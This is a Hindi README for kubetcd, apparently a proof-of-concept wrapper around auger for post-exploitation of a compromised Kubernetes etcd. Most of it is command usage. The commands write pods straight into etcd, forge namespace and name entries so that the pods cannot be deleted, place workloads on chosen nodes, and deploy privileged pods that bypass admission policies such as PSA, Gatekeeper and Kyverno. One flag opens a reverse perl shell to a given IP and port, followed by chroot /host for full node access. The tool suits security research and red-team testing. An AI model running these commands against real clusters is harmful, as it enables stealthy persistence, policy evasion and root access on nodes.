
समझौता किए गए etcd का पोस्ट-एक्सप्लॉइट करें, पर्सिस्टेंस प्राप्त करें और नोड्स पर रिमोट शेल पाएं।
https://github.com/jpbetz/auger का रैपर।
यह सीधे etcd में लिखकर pod परिनियोजन को स्वचालित करता है। इसमें समझौता किए गए etcd के पोस्ट-एक्सप्लॉइटेशन के लिए कई फ़ंक्शन शामिल हैं।
[!WARNING]
यह एक PoC है, इसे प्रोडक्शन वातावरण में उपयोग न करें। सीधे etcd में लिखने से असंगतियाँ या दूषित डेटा उत्पन्न हो सकता है, जिससेkube-apiserverका तर्क etcd से डेटा प्राप्त करने या हेरफेर करने में विफल हो सकता है। एकाधिक node वाले परीक्षण वातावरण KIND के साथ परिनियोजित किए जा सकते हैं
मुख्य रिपॉजिटरी, auger, etcd में protobuffered प्रविष्टियों के क्रमांकन (serialising) और विपरीत क्रमांकन (deserialising) के लिए मुख्य सुविधाएँ प्रदान करती है। Kubetcd एक PoC है जो इन सुविधाओं को लपेटता है ताकि etcdctl को नियमित kubectl क्लाइंट के करीब लाया जा सके। एक समझौता किए गए etcd के परिदृश्य में, kubetcd क्लस्टर में किसी/सभी होस्ट पर स्थिरता और विशेषाधिकार प्राप्त पहुंच प्राप्त करने के लिए हेरफेर किए गए और विशेषाधिकार प्राप्त pods का उपयोग करने का प्रयास करेगा। ध्यान दें कि kubetcd वर्तमान में केवल pod संचालन का समर्थन करता है।
Kubetcd निम्नलिखित डिफ़ॉल्ट पथों से etcd सेवा में प्रमाणीकरण के लिए प्रमाणपत्र और कुंजियाँ लेता है:
इसके अलावा, डिफ़ॉल्ट एंडपॉइंट 127.0.0.1:2379 के रूप में सेट है।
पिछले सभी डिफ़ॉल्ट मानों को पैरामीटर के माध्यम से बदला जा सकता है।
साथ ही, etcd के लिए क्लाइंट, etcdctl, स्थापित होना चाहिए।
sudo apt install etcd-client
क्लोन करें और बिल्ड करें:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
आपको निम्नलिखित त्रुटि मिल सकती है:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
यदि ऐसा है, तो kubetcd को Golang 1.19 के साथ बिल्ड करें।
मुख्य auger सुविधाओं के लिए https://github.com/jpbetz/auger देखें, जो अभी भी मौजूद हैं। यह README केवल रैपर की जोड़ी गई नई सुविधाओं का विवरण देगा:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName डिफ़ॉल्ट namespace में एक चालू pod होना चाहिए:
./kubetcd create pod <name> -t <templateName>
आप समान name और templateName मान सेट करके एक चालू pod को अधिलेखित कर सकते हैं।
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
ETCD नए pods को /registry/pods/<namespace>/<name> में सहेजता है, लेकिन namespace और name फ़ील्ड के साथ छेड़छाड़ की जा सकती है।
ऐसा होने पर, इन pods को kubectl का उपयोग करके सूचीबद्ध किया जा सकता है, लेकिन हटाया नहीं जा सकता।
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
किसी भी node पर इच्छानुसार वर्कलोड परिनियोजित करें:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
प्रतिबंधित namespaces में विशेषाधिकार प्राप्त pods परिनियोजित करें। यह PSPs, PSAs जैसे अंतर्निहित AdmissionControllers या OPA Gatekeer या Kyverno जैसी कस्टम नीतियों पर आधारित किसी भी अन्य नीतियों को बायपास कर देगा:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
-P फ़्लैग किसी भी pod को privileged के रूप में सेट करेगा और अंतर्निहित node के साथ network, PID और IPC namespaces साझा करेगा।
प्रतिबंधित namespaces में विशेषाधिकार प्राप्त pods परिनियोजित करें और एक रिमोट शेल प्राप्त करें:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
यह एक रिवर्स perl शेल शुरू करेगा, जो डिफ़ॉल्ट रूप से कई इमेजों में मौजूद होता है।
रिवर्स शेल मिल जाने के बाद, node तक पूर्ण पहुंच प्राप्त करने के लिए chroot /host के साथ रूट फाइलसिस्टम बदलें।
corev1 शाखा के बाहर तत्वों को बनाने/प्राप्त करने/हटाने के लिए समर्थन जोड़ें